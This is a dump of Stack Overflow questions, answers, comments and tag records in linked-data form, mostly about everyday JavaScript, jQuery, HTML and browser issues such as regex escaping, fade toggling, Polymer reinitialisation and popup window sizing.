http://stackoverflow.com/comment/40486342
comment on: http://stackoverflow.com/a/25871657
type: AnswerComment
score: 0
has text: I think that is actually a browser feature... it's called Byte Serving and is done over the HTTP layer. You could look at this post for something similar someone is trying out: http://stackoverflow.com/questions/17643851/downloading-a-portion-of-a-file-using-http-requests
type: Comment

http://stackoverflow.com/a/25757039
downvote count: 0
has comment: http://stackoverflow.com/comment/40314785
accepted answer of: http://stackoverflow.com/q/25756664
has body: Meteor.Collection was renamed Mongo.Collection in 0.9.1. The change is currently backward compatible, however you should switch to using Mongo.Collection for any new projects. It looks like the docs have mostly been updated except for the wording in the Data and security section.
has comment: http://stackoverflow.com/comment/40318199
answers question: http://stackoverflow.com/q/25756664
type: Answer
has comment: http://stackoverflow.com/comment/40318122
has comment: http://stackoverflow.com/comment/40318617
has comment: http://stackoverflow.com/comment/40318646
has comment: http://stackoverflow.com/comment/46418158
has comment: http://stackoverflow.com/comment/40318209
has comment: http://stackoverflow.com/comment/40316628
has comment: http://stackoverflow.com/comment/40317993
has comment: http://stackoverflow.com/comment/40318326
has comment: http://stackoverflow.com/comment/40318497
score: 35
upvote count: 35
type: AcceptedAnswer

http://stackoverflow.com/comment/40215181
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25721097
type: AnswerComment
has text: Just a very minor nitpick - if you pass an empty array of `items_to_divide` this will return the first `divisor`. It's probably better to use a solution that's falsey as standard, and only returns truthy on passing all the tests. Also, `divide` is not needed - just use `undefined === division` as your test and you save a variable

http://stackoverflow.com/a/25849902
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25849772
type: Answer
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25849772
has comment: http://stackoverflow.com/comment/40455034
has body: You'll want to escape the strings before using them in the regular expression (unless you're certain they'll never contain any [, |, etc. chars), then build a RegExp object: function escapeRegExp(string){ return string.replace(/([.*+?^${}()|\[\]\/\\])/g, "\\$1"); } var re = new RegExp( escapeRegExp(keyword1) + "|" + escapeRegExp(keyword2) ); String.search(re); If you have an array of search terms, you could generalize this: var keywords = [ 'one', 'two', 'three[]' ]; var re = new RegExp( keywords.map(escapeRegExp).join('|') // three[] will be escaped to three\[\] ); String.search(re);

http://stackoverflow.com/q/25782915
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: uiwebview
has comment: http://stackoverflow.com/comment/40363850
type: Question
has title: loading html the right way to get stringByEvaluatingJavaScriptFromString working
score: 0
tagged with: webview
answer count: 1
has answer: http://stackoverflow.com/a/25783062
has body: I'm trying to get stringByEvaluatingJavaScriptFromString to work. I'm sure i load the html file wrong I just dont see what i do wrong. -(void)viewDidLoad { // Load the index.html file as a string from the file system NSString *path = [[NSBundle mainBundle] pathForResource:@"index" ofType:@"html"]; NSString *html = [[NSString alloc] initWithContentsOfFile:path encoding:NSUTF8StringEncoding error:nil]; // Load/pass it in to webView [webView loadHTMLString:html baseURL:[[NSBundle mainBundle] bundleURL]]; [super viewDidLoad]; } I pass/send the javascript event to index.html: -(void)webViewDidFinishLoad:(UIWebView *)webView { [webView stringByEvaluatingJavaScriptFromString:@"displayName('name');"]; } What do i do wrong?
tagged with: ios
tagged with: javascript

http://stackoverflow.com/q/25808678
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25808772
upvote count: 1
tagged with: toggle
type: Question
score: 1
has comment: http://stackoverflow.com/comment/40370423
tagged with: fade
answer count: 2
downvote count: 0
tagged with: javascript
tagged with: jquery
has body: I have set of divs inside one container div called: "people". each div is called "people-box" inside each "people-box" I have a div called: "people-description" So this will describe my hierarchy: I would like to trigger to actions here: when someone is clicking on "people-box" div I want to fade toggle the description, simply show and hide it is working using this method: $('.people-box').click(function(){ $(this).find('.people-description').fadeToggle(500); }); however, this is working only when I am on the same div clicking to show the description and clicking again to hide it. if the description is shown and I am clicking on another "people-box" it is not fading the one that is shown.. I would like that too work (toggling the description clicking the same div) but also when moving to another "people-box" I would like to fade out all others that left open Will appreciate any solution Thanks
has title: Using fadeToggle + fade all other when having set of divs
favorite count: 0
has answer: http://stackoverflow.com/a/25808772
possible better answer: http://stackoverflow.com/a/25809002
has answer: http://stackoverflow.com/a/25809002

http://stackoverflow.com/q/25788081
tagged with: javascript
downvote count: 0
tagged with: subtotal
accepted answer: http://stackoverflow.com/a/25788733
favorite count: 0
has answer: http://stackoverflow.com/a/25788568
upvote count: 2
answer count: 5
has answer: http://stackoverflow.com/a/25788558
has answer: http://stackoverflow.com/a/25788208
tagged with: regex-group
tagged with: regex
score: 2
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25788558
has title: How to split string with subtotal prefix
type: Question
has answer: http://stackoverflow.com/a/25788616
has answer: http://stackoverflow.com/a/25788733
has body: I want to split string 'something.somethingMore.evenMore[123].last' to ['something', 'something.somethingMore', 'something.somethingMore.evenMore[123]', 'something.somethingMore.evenMore[123].last'] I can't figure out simple solution to split string by separator '.', but with preceding content of string.

http://stackoverflow.com/q/25737318
has answer: http://stackoverflow.com/a/25795230
type: Question
has comment: http://stackoverflow.com/comment/40241015
answer count: 8
has comment: http://stackoverflow.com/comment/40241228
tagged with: sweet.js
has answer: http://stackoverflow.com/a/25737893
tagged with: javascript
has answer: http://stackoverflow.com/a/25737872
has comment: http://stackoverflow.com/comment/40242526
has title: Javascript macro: implementing F# style forward pipe operator
downvote count: 0
has answer: http://stackoverflow.com/a/25737591
has answer: http://stackoverflow.com/a/25737373
tagged with: higher-order-functions
favorite count: 0
has answer: http://stackoverflow.com/a/25737421
has answer: http://stackoverflow.com/a/26126042
has answer: http://stackoverflow.com/a/25737358
type: UnansweredQuestion
tagged with: macros
has comment: http://stackoverflow.com/comment/40242745
score: 3
has body: I want to implement a higher order function (hof) that essentially works like F# style forward-pipe operator (passes a value as the first argument to another function, myFunc). The only way I can think of is this: function hof(val, myFunc, args_array) {...} where args_array is the array of arguments for the call to myFunc (excluding the first argument, since that's going to be val) But this doesn't look very elegant to me. Is there a better way to do this? Edit: I found this on github https://gist.github.com/aaronpowell/d5ffaf78666f2b8fb033. But I don't really understand what the sweet.js code is doing. It'd be very helpful if you could annotate the code, specifically: case infix { $val | _ $fn($args (,) ...) } =&gt; { return #{ ($fn.length &lt;= [$args (,) ...].length + 1 ? $fn($args (,) ..., $val) : $fn.bind(null, $args (,) ..., $val)) } } case infix { $val | _ $fn } =&gt; { return #{ ($fn.length &lt;= 1 ? $fn($val) : $fn.bind(null, $val)) } }
upvote count: 3

http://stackoverflow.com/a/33590754
has body: If you want to watch an array of string expressions (i.e. you do not need to watch functions, which both $watchGroup and PSL's solution can handle), here is an alternative: $scope.$watch('[number1, number2, myArray]', callback, true); And if you want to make a utility function for that similar to PSL's: .run(function($rootScope){ $rootScope.deepWatchGroup = function(watchExpressions, listener){ this.$watch('[' + watchExpressions + ']', listener, true); } });
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/80863985
upvote count: 10
has comment: http://stackoverflow.com/comment/136854086
score: 10
answers question: http://stackoverflow.com/q/25712888

http://stackoverflow.com/a/25874628
has comment: http://stackoverflow.com/comment/40516721
has comment: http://stackoverflow.com/comment/40516832
has comment: http://stackoverflow.com/comment/40516884
has comment: http://stackoverflow.com/comment/40505057
has comment: http://stackoverflow.com/comment/40510607
answers question: http://stackoverflow.com/q/25873074
downvote count: 0
has body: Still not so sure what you exactly are trying to achive but to hide links you just hide them. http://jsfiddle.net/ugkc8gsd/8/ Hide them in the click event button $('.vieweditlink').click(function () { $('.courselink').hide(); }); Edit : Ooh I see u edited your post. Well here is a new jsfiddle http://jsfiddle.net/ugkc8gsd/10/ Hope it helps Edit 2 : Here is the new promised jsfiddle. http://jsfiddle.net/ugkc8gsd/12/ Hope this is what you want.
has comment: http://stackoverflow.com/comment/40516566
has comment: http://stackoverflow.com/comment/40531432
has comment: http://stackoverflow.com/comment/40827133
type: Answer
has comment: http://stackoverflow.com/comment/40517473
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/40712445

http://stackoverflow.com/comment/40244853
has text: @Satpal this is not a custom event, it is a normal `click` event in `mypop` namespace
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25739101

http://stackoverflow.com/q/25749658
has comment: http://stackoverflow.com/comment/40265201
has comment: http://stackoverflow.com/comment/40264565
answer count: 1
favorite count: 0
has title: Polymer JS conflicts with Rails Turbolinks
has comment: http://stackoverflow.com/comment/40266702
has answer: http://stackoverflow.com/a/25793548
accepted answer: http://stackoverflow.com/a/25793548
has body: Trying to use PolymerJs with a Ruby on Rails project with Turbolinks enabled. The initial loading of Polymer components works,but when I click on a link the new page renders, but my Polymer components are not reinitialized. Instead they look as if no JS has been run on them at all. I am loading polymer components and platform in the header, so they are not loaded with the 'page changes' (this is how turbolinks works - it only reloads the body). I seem to be able to 'fake it' by doing the following assuming I wanted to 'refresh' my-custom-element and the core-ajax tags on my page custom_elements = document.querySelectorAll("my-custom-element, core-ajax ") for element in custom_elements element.parentNode.replaceChild(element.cloneNode(), element) I am guessing there is a more idiomatic way to do it though. Also tried to call the Polymer() call inside the element again with out success. It seems like it fires properly, but there is no attachment of the shadowDom or any other activity indicating Polymer has attempted to reattach my elements. I also tried using preventDispose, but that does not seem to work as an entirely new body is being loaded from the server. How can I tell Polymer/Platform to reinitialize all elements on my page? What events should I be calling? Or if that cant be done, how do a initialize just a given polymer element.
tagged with: ruby-on-rails
upvote count: 4
type: AnsweredQuestion
downvote count: 0
type: Question
tagged with: polymer
has comment: http://stackoverflow.com/comment/47572230
tagged with: turbolinks
has comment: http://stackoverflow.com/comment/40272164
tagged with: javascript
score: 4

http://stackoverflow.com/q/25750742
tagged with: jsp
favorite count: 0
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
upvote count: 16
has body: I am using the code below to create a link, when I click on the link in IE it's working and I'm able to open the URL but not in Chrome. Test&lt;a href='#'onClick=window.open('file:\\160.53.112.171\myTest\cons\4.1\displayData.htm','_self') &gt; Below is the error message displayed on Chrome's console. Not allowed to load local resource: file:file:///C:/160.53.112.171myTestcons%04.1displayData.htm in chrome.
has comment: http://stackoverflow.com/comment/50540648
has comment: http://stackoverflow.com/comment/40265243
tagged with: google-chrome
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/31857887
has title: Not allowed to load local resource: file
has comment: http://stackoverflow.com/comment/40265241
has comment: http://stackoverflow.com/comment/40265290
tagged with: javascript
score: 15
has answer: http://stackoverflow.com/a/25750933
has answer: http://stackoverflow.com/a/31611011
answer count: 3
has comment: http://stackoverflow.com/comment/55891074

node.js
tags question: http://stackoverflow.com/q/25844994
tags question: http://stackoverflow.com/q/25716830
tags question: http://stackoverflow.com/q/25847061
tags question: http://stackoverflow.com/q/25847819
tags question: http://stackoverflow.com/q/25819671
tags question: http://stackoverflow.com/q/25829362
tags question: http://stackoverflow.com/q/25824647
tags question: http://stackoverflow.com/q/25851184
tags question: http://stackoverflow.com/q/25730462
tags question: http://stackoverflow.com/q/25752917
tags question: http://stackoverflow.com/q/25775097
tags question: http://stackoverflow.com/q/25767676
tags question: http://stackoverflow.com/q/25784177
tags question: http://stackoverflow.com/q/25852319
tags question: http://stackoverflow.com/q/25815349
tags question: http://stackoverflow.com/q/25817608
tags question: http://stackoverflow.com/q/25868129
tags question: http://stackoverflow.com/q/25725479
tags question: http://stackoverflow.com/q/25805536
tags question: http://stackoverflow.com/q/25782037
tags question: http://stackoverflow.com/q/25827298
tags question: http://stackoverflow.com/q/25732156
tags question: http://stackoverflow.com/q/25777705
tags question: http://stackoverflow.com/q/25773529
tags question: http://stackoverflow.com/q/25759335
tags question: http://stackoverflow.com/q/25735865
tags question: http://stackoverflow.com/q/25771782
tags question: http://stackoverflow.com/q/25739241
tags question: http://stackoverflow.com/q/25820174
tags question: http://stackoverflow.com/q/25823344
tags question: http://stackoverflow.com/q/25858962
tags question: http://stackoverflow.com/q/25761487
tags question: http://stackoverflow.com/q/25803554
tags question: http://stackoverflow.com/q/25768095
tags question: http://stackoverflow.com/q/25864349
tags question: http://stackoverflow.com/q/25786207
tags question: http://stackoverflow.com/q/25722348
tags question: http://stackoverflow.com/q/25792633
tags question: http://stackoverflow.com/q/25753537
tags question: http://stackoverflow.com/q/25829524
tags question: http://stackoverflow.com/q/25777928
tags question: http://stackoverflow.com/q/25790444
tags question: http://stackoverflow.com/q/25838585
tags question: http://stackoverflow.com/q/25771935
tags question: http://stackoverflow.com/q/25840248
tags question: http://stackoverflow.com/q/25861062
tags question: http://stackoverflow.com/q/25824854
tags question: http://stackoverflow.com/q/25736437
tags question: http://stackoverflow.com/q/25869804
tags question: http://stackoverflow.com/q/25838362
tags question: http://stackoverflow.com/q/25723973
tags question: http://stackoverflow.com/q/25852485
tags question: http://stackoverflow.com/q/25844713
tags question: http://stackoverflow.com/q/25728502
tags question: http://stackoverflow.com/q/25771487
tags question: http://stackoverflow.com/q/25730040
tags question: http://stackoverflow.com/q/25770315
tags question: http://stackoverflow.com/q/25828769
tags question: http://stackoverflow.com/q/25804829
tags question: http://stackoverflow.com/q/25831988
tags question: http://stackoverflow.com/q/25794919
tags question: http://stackoverflow.com/q/25787140
tags question: http://stackoverflow.com/q/25806223
tags question: http://stackoverflow.com/q/25724145
tags question: http://stackoverflow.com/q/25819712
tags question: http://stackoverflow.com/q/25867633
tags question: http://stackoverflow.com/q/25809788
tags question: http://stackoverflow.com/q/25774063
tags question: http://stackoverflow.com/q/25837817
tags question: http://stackoverflow.com/q/25862973
tags question: http://stackoverflow.com/q/25775247
tags question: http://stackoverflow.com/q/25736747
tags question: http://stackoverflow.com/q/25815187
tags question: http://stackoverflow.com/q/25866236
tags question: http://stackoverflow.com/q/25753368
tags question: http://stackoverflow.com/q/25847211
tags question: http://stackoverflow.com/q/25745242
tags question: http://stackoverflow.com/q/25747109
tags question: http://stackoverflow.com/q/25732131
tags question: http://stackoverflow.com/q/25762519

http://stackoverflow.com/comment/40473208
type: Comment
has text: @mrdoob thanks didn't notice i accidentally included the old one. Anyways this really seems like a bug! Once the height is applied it doesn't detect intersections at all..
comment on: http://stackoverflow.com/q/25768302
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40322244
type: Comment
comment on: http://stackoverflow.com/a/25781425
has text: In your solution, Sunday gets disabled for both radio buttons. I'm trying to only get it to be disabled for one (Team A).
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40487379
has text: Update the question with the declaration of the `ShowLoading` variable
comment on: http://stackoverflow.com/q/25872457
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40331094
comment on: http://stackoverflow.com/q/25784634
type: Comment
type: QuestionComment
has text: Just tried in IE, and it works!!
score: 0

http://stackoverflow.com/a/25791960
type: Answer
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/25790110
downvote count: 0
has body: This isn't a problem with the browser. It's the validation of the HTML5 input type. There are two solutions that you can implement. You can use The second option is to use JavaScript to add the http:// to the field onsubmit if it isn't there. I've been trying to make it work with the type="URL" onsubmit, but the HTML5 validation kicks in before the JavaScript. Your best option, if you want to keep it that type will be a script executed by onkeyup: http://jsfiddle.net/gLN6X/1/ (posted at https://stackoverflow.com/a/17947355/3869056) If you can do away with the type for one that doesn't have a default validation, you can use something like this: http://jsfiddle.net/u958xwr5/1/ Submit The JSFiddle has a little extra to show that after the correction has been made, it'll be submitting the correct information.

http://stackoverflow.com/comment/86957957
type: AnswerComment
has text: When in doubt add stripPrefix: 'app/'
type: Comment
comment on: http://stackoverflow.com/a/25727359
score: 0

http://stackoverflow.com/q/25839535
accepted answer: http://stackoverflow.com/a/25841567
tagged with: javascript
tagged with: google-maps-api-3
score: 0
tagged with: google-maps
answer count: 1
tagged with: jquery
has body: I have a list of events and venues which I am rendering in a google map. see fiddle var mylatlongs = [ {"confid":"1","venueid":"1","date":"2014-09-09","venue":"Venue 1","name":"Conference 1","lat":"34.042435","lng":"-118.266586"}, {"confid":"2","venueid":"2","date":"2014-10-10","venue":"Venue 2","name":"Conference 2","lat":"34.052778","lng":"-118.255833"}, {"confid":"3","venueid":"3","date":"2014-11-11","venue":"Venue 3","name":"Conference 3","lat":"34.050592","lng":"-118.242663"}, {"confid":"4","venueid":"1","date":"2014-12-12","venue":"Venue 1","name":"Conference 4","lat":"34.042435","lng":"-118.266586"} ]; var infowindow = null; jQuery(function() { var StartLatLng = new google.maps.LatLng(mylatlongs[0]['lat'], mylatlongs[0]['lng']); var mapOptions = { center: StartLatLng, streetViewControl: false, panControl: false, maxZoom:17, zoom : 14, zoomControl:true, zoomControlOptions: { style:google.maps.ZoomControlStyle.SMALL } }; var map = new google.maps.Map(document.getElementById('map_canvas'), mapOptions); var infowindow = new google.maps.InfoWindow({ content: '' }); jQuery.each( mylatlongs, function(i, m) { var StartLatLng = new google.maps.LatLng(30.984298 , -91.962333); var marker = new google.maps.Marker({ position: new google.maps.LatLng(m.lat, m.lng), bounds: true, id : 'mk_' + m.confid, letter : m.index, map: map, title: m.name }); google.maps.event.addListener(marker, 'click', function() { infowindow.close(); infowindow.setContent(contentString); infowindow.open(map,marker); }); var desc = m.date + " -- " + m.name; /* if (venueid already exists) { keep the one pin for the venue and append each name and date into the description seperated by a } */ var contentString = ' '+ ' '+ ' '+ ' '+ m.venue + ' '+ ' ' + desc + ' '+ ' '; }); }); This works well except if there is multiple events at the one venue. I have looked at clustering and Spiderfier which give the option to break out the pins into multiple pins, but what I want to do is in my contentString add each …
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25841567
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40428028
has title: jquery each if value exists append to previous value
type: Question

http://stackoverflow.com/a/25870530
score: 0
type: Answer
has body: Use QR Code WordPress plugin to insert a QR code in your blog. The qr code contains the current URL or any other text you like. Download it from here How to use it: Use the shortcode [qrcode] within your site to generate a QR Code including the URL of the current site Use the fullowing short code to generate a indivdual qr code with any text content: [qrcode content="CONTENT" size="80" alt="ALT_TEXT" class="CLASS_NAME"] Possible parameters are: alt, size, class, credit, shadow If you don`t give any parameter like 'alt' or 'size', the standard parameters are: alt = "Scan the QR Code" size = 120 class="" credit = true shadow = true How to install the plugin: Download the file qrcode-wprhe.zip Do not rename the file !important Go to your Wordpress administrator panel at /wp-admin Got to /wp-admin/plugin-install.php and upload the downloaded zip file Activate the plugin through the 'Plugins' menu in WordPress Use the shortcode [qrcode] within your desired posts. DONE
answers question: http://stackoverflow.com/q/25842135

http://stackoverflow.com/q/25783914
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25784047
has body: I have a couple of iFrames in my page, and it is not possible to scroll over those iframes on tablet, phone devices, and in firefox as well. To solve this, I placed a fixed div over the iframe and have the following code to copy the the pointer position (when click happens) and trigger click inside iframe , now the fixed div allows me to scroll over the iFrames and click works too. But when in desktop, even though the click works thanks to this trick, the hover does not work so the buttons and everything else with hover become dead solid. Is there any better solution for this touch-scrolling issue on iFrames? This is the code I am using to copying and transferring the position of mouse to the iframe and execute the click (foo = the fixed div over the iframe): $('.foo').click(function(event){ var iframe = $('.frameClass').get(0); var iframeDoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document; // Find click position (coordinates) var x = event.offsetX; var y = event.offsetY; // Trigger click inside iframe var link = iframeDoc.elementFromPoint(x, y); var newEvent = iframeDoc.createEvent('HTMLEvents'); newEvent.initEvent('click', true, true); link.dispatchEvent(newEvent); });
downvote count: 0
type: UnansweredQuestion
tagged with: iframe
tagged with: scroll
type: Question
score: 1
tagged with: touch
upvote count: 1
answer count: 1
has title: Scroll over iframe on iPad and iPhone
tagged with: javascript

http://stackoverflow.com/q/25776815
tagged with: internet-explorer
has answer: http://stackoverflow.com/a/25776982
has comment: http://stackoverflow.com/comment/40318342
has comment: http://stackoverflow.com/comment/40313380
has answer: http://stackoverflow.com/a/26006581
has comment: http://stackoverflow.com/comment/40320285
type: Question
has title: popup window gets opened in small size unless changing the security settings in IE
downvote count: 0
has comment: http://stackoverflow.com/comment/40317804
tagged with: javascript
has comment: http://stackoverflow.com/comment/40319000
has body: I am using IE 8 I have the following javascript &lt;script type="text/javascript"&gt; function popupWindow(url) { w = 1026; h = 760; var left = (screen.width/2)-(w/2); var top = (screen.height/2)-(h/2); window.location.href="/site/testApps#app=testApp&amp;nav=testNav"; var newWindow = window.open(url, 'windowname', "toolbar=no, location=no, directories=no, status=no, menubar=no, scrollbars=yes, resizable=yes, copyhistory=no, width='+w+', height='+h+', top='+top+',left='+left',screenY='+top+', screenX='+left'"); } &lt;/script&gt; the pop up is opening successfully, But the problem is it is opening with smaller size. i fixed this by changing the security settings in IE as shown below. Can anyone shed light on why this happened? and what is the solution for this problem? with out changing security settings in IE? UPDATE: we have different environments (dev,test and uat(runs on secure porthttps://)). this issue is happening only if we run with https:// this is working well(the pop up window is opening with proper dimensions) in dev and test env.
favorite count: 0
answer count: 5
has answer: http://stackoverflow.com/a/25992332
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40318390
has answer: http://stackoverflow.com/a/25992061
upvote count: 3
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40318987
has answer: http://stackoverflow.com/a/26006406
score: 3

http://stackoverflow.com/comment/40366042
comment on: http://stackoverflow.com/q/25791379
has text: @sebastianBochan, yes looks like the same issue. Will go through and get back with the results. Thanks.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25775251
accepted answer: http://stackoverflow.com/a/25789201
type: AnsweredQuestion
upvote count: 3
has body: I'm building out a site using fullpage.js, that also has an overlay that pops up and covers the entire page. Inside the overlay, is a div setup with overflow: scroll, so that you can see all of the content. The problem lies in that when you scroll thru the content of the overlay, the scrolling of fullpage.js is still going on the background slides, causing you to end up on a random slide when you close the overlay. Is there any way to disable the scroll functionality for just the slides, without effecting the scrolling of my div set to overflow:scroll?
type: Question
has title: Any way to disable scroll functionality of fullpage.js temporarily?
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25789201
score: 3
downvote count: 0
answer count: 1
tagged with: fullpage.js
favorite count: 0

http://stackoverflow.com/comment/40354770
has text: I have fixed my bugs in answer. Thanks @flowstoneknight your advices are helpful.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25799441

http://stackoverflow.com/comment/40324048
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25782989
has text: I want 200px down from the top
score: 0

http://stackoverflow.com/comment/40235648
comment on: http://stackoverflow.com/a/25734307
type: Comment
score: 1
has text: But that's what it does. I'm not saying it is because of the cache buster, I'm simply saying the browser does it. I'd recommend you read it more carefully.
type: AnswerComment

django-models
tag name: django-models
type: Tag
tags question: http://stackoverflow.com/q/25772856

http://stackoverflow.com/comment/40249249
type: Comment
has text: Additionally, `$._data( $(controller)[0], "events" )` shows two click events
comment on: http://stackoverflow.com/a/25738358
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40251595
comment on: http://stackoverflow.com/q/25743414
has text: @ArunPJohny yes, the library was included.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40278013
has text: This is giving the same response as wayne's answer... applied to all list items.
type: AnswerComment
type: Comment
score: 1
comment on: http://stackoverflow.com/a/25757545

http://stackoverflow.com/comment/40483145
type: QuestionComment
has text: @ somethinghere... I tried with both as you suggested. without ./ is just like the Case 1 (repeating the values twice at URL) and if prepending / then it's giving error as "Object not found". So, still it's not working. Any further suggestion ?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25866323

http://stackoverflow.com/q/25766714
has answer: http://stackoverflow.com/a/25774013
has comment: http://stackoverflow.com/comment/40294423
answer count: 1
downvote count: 0
tagged with: session-variables
favorite count: 0
has comment: http://stackoverflow.com/comment/40302822
has body: Is it possible to end a session so another session can begin when the user hits the browsers back button? I have 5 certain pages that I want this back button to end there session. I am very new to all of this so any help would be greatly appreciated.
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25774013
has comment: http://stackoverflow.com/comment/40298336
tagged with: coldfusion
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40295601
score: 1
has comment: http://stackoverflow.com/comment/40298443
upvote count: 1
has comment: http://stackoverflow.com/comment/40294874
has comment: http://stackoverflow.com/comment/40294013
type: Question
has comment: http://stackoverflow.com/comment/40296474
has comment: http://stackoverflow.com/comment/40294219
has comment: http://stackoverflow.com/comment/40302315
tagged with: session
tagged with: javascript
has title: End a session so another session can begin when the user hits the browsers back button
has comment: http://stackoverflow.com/comment/40348088
has comment: http://stackoverflow.com/comment/40298832

http://stackoverflow.com/a/25752048
has body: According to the documentation: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/source The RegExp object has a source property, which returns a string representation of the regex. Here's an example. var validName = /\w+ \w+/ var validEmail = /[^@ ]+@.+\..+/ var combined = new RegExp(validName.source + ' ' + validEmail.source); console.log(combined.test('John Doe jdoe@example.com')); // outputs true console.log(combined.test('John Doe bademail@')); // outputs false However, keep in mind that this solution will NOT work if the regexes include boundary markers like $ and ^.
has comment: http://stackoverflow.com/comment/40268005
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25751886
accepted answer of: http://stackoverflow.com/q/25751886
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/40267906

http://stackoverflow.com/comment/40476600
comment on: http://stackoverflow.com/a/25866422
has text: Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/61334/discussion-between-alek-and-benjamin).
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/25834595
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25834524
type: Answer
has body: Change display:inline-block from the panel div to float:left,it solves the issue. DEMO CSS: .panel { margin: 50px 0 0 10px; width: 200px; height: 200px; font-family: tahoma; float:left; border: 2px solid gray; border-radius: 5px; overflow: hidden; }
accepted answer of: http://stackoverflow.com/q/25834524
upvote count: 4
score: 4
has comment: http://stackoverflow.com/comment/64540192
has comment: http://stackoverflow.com/comment/40418553

http://stackoverflow.com/q/25749846
tagged with: razor
possible better answer: http://stackoverflow.com/a/25749887
has answer: http://stackoverflow.com/a/25749887
accepted answer: http://stackoverflow.com/a/25749935
score: -1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25750292
downvote count: 1
type: Question
has title: Adding fields using jquery
tagged with: javascript
has answer: http://stackoverflow.com/a/25749935
answer count: 3
upvote count: 0
tagged with: jquery
has body: I'm trying to allow user to add and remove email fields in my view using jquery. Whenever either link is click nothing happens. html/cshtml Email(s) to send notice to. Remove Add Another Email js here is the fiddle
favorite count: 0
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/25789608
tagged with: javascript
answer count: 1
downvote count: 0
has title: Javascript error when create object and comparing fields
favorite count: 0
has answer: http://stackoverflow.com/a/25789674
upvote count: 1
type: AnsweredQuestion
score: 1
has body: I created a javascript object that i fill with data, When i return this object to anoother class and run the isError function on the object, i always get true, and i cant figure out why. This is the new object i've created: function WSResponse() { this.error = new Object(); this.isError = function() { if (this.error.status === '0') { return false; } else { return true; } } } This is my service: ...Some code.. var wsresponse = new WSResponse(); wsresponse.data = responseFromServer.ws_result; wsresponse.error.status='0'; wsresponse.error.msg = responseFromServer.msg; return wsresponse; And this is my controller: if (response.isError) { $scope.isLoginError = true; } else { $scope.isLoginError = false; } From some reason i always get true, when i debug i can see the value is 0 or -1 (string) What is the problem ? Thanks
type: Question
accepted answer: http://stackoverflow.com/a/25789674

http://stackoverflow.com/comment/40323167
comment on: http://stackoverflow.com/q/25782593
score: 1
has text: Start this at the top of your function: http://fgnass.github.io/spin.js/. Stop it at the end.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25811292
answer count: 0
tagged with: jquery
tagged with: asp.net
has body: I need help. I have a validation function written in jQuery in a separate .js file and html code in a separate aspx page. Now I want to implement my jQuery validation like this (#mobile).validate(); from my .aspx page, so that the validation for textbox for moblile will take place. I am also posting the code for reference. I would be thankful if I get any help/hints on this issue. I do not want to use jquery.validate.js. Thanks, Dipak FormValidation.js $('#' + mobile).bind('keypress', function (e) { return (e.which != 8 &amp;&amp; e.which != 0 &amp;&amp; (e.which &lt; 48 || e.which &gt; 57)) ? false : true; }) function InitValidate(btnsubmit, name, email, mobile) { var Isvalid = true; $(btnsubmit).click(function () { var Isvalid = true; if ($(name).val() == '') { alert('Name cannot be blank') Isvalid = false; } else { if ($(email).val() == '') { alert('Name Email be blank') Isvalid = false; } if (!IsEmail(email)) { alert("Invalid email address."); Isvalid = false; } if ($(mobile).val() == '') { alert('Name mobile number be blank') Isvalid = false; } } return Isvalid; }); }) Default.aspx &lt;html xmlns="http://www.w3.org/1999/xhtml"&gt; &lt;head runat="server"&gt; &lt;title&gt;&lt;/title&gt; &lt;script src="http://code.jquery.com/jquery-2.1.0.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; $(function () { var name = $('#&lt;%= name.ClientID %&gt;'); var email = $('#&lt;%= email.ClientID %&gt;'); var mobile = $('#&lt;%= mobile.ClientID %&gt;'); var btnsubmit = $('#&lt;%= btnsubmit.ClientID %&gt;'); InitValidate(btnsubmit, name, email, mobile); }); var mobile = '&lt;% =mobile.ClientID%&gt;'; (#mobile).validate(); &lt;/script&gt; &lt;body&gt; &lt;form id="form1" runat="server"&gt; &lt;div&gt; &lt;div&gt; &lt;span&gt;First Name&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;asp:TextBox ID="name" runat="server"&gt;&lt;/asp:TextBox&gt; &lt;/div&gt; &lt;div&gt; &lt;span&gt;E-Mail ID&lt;/span&gt;&amp;nbsp;&amp…
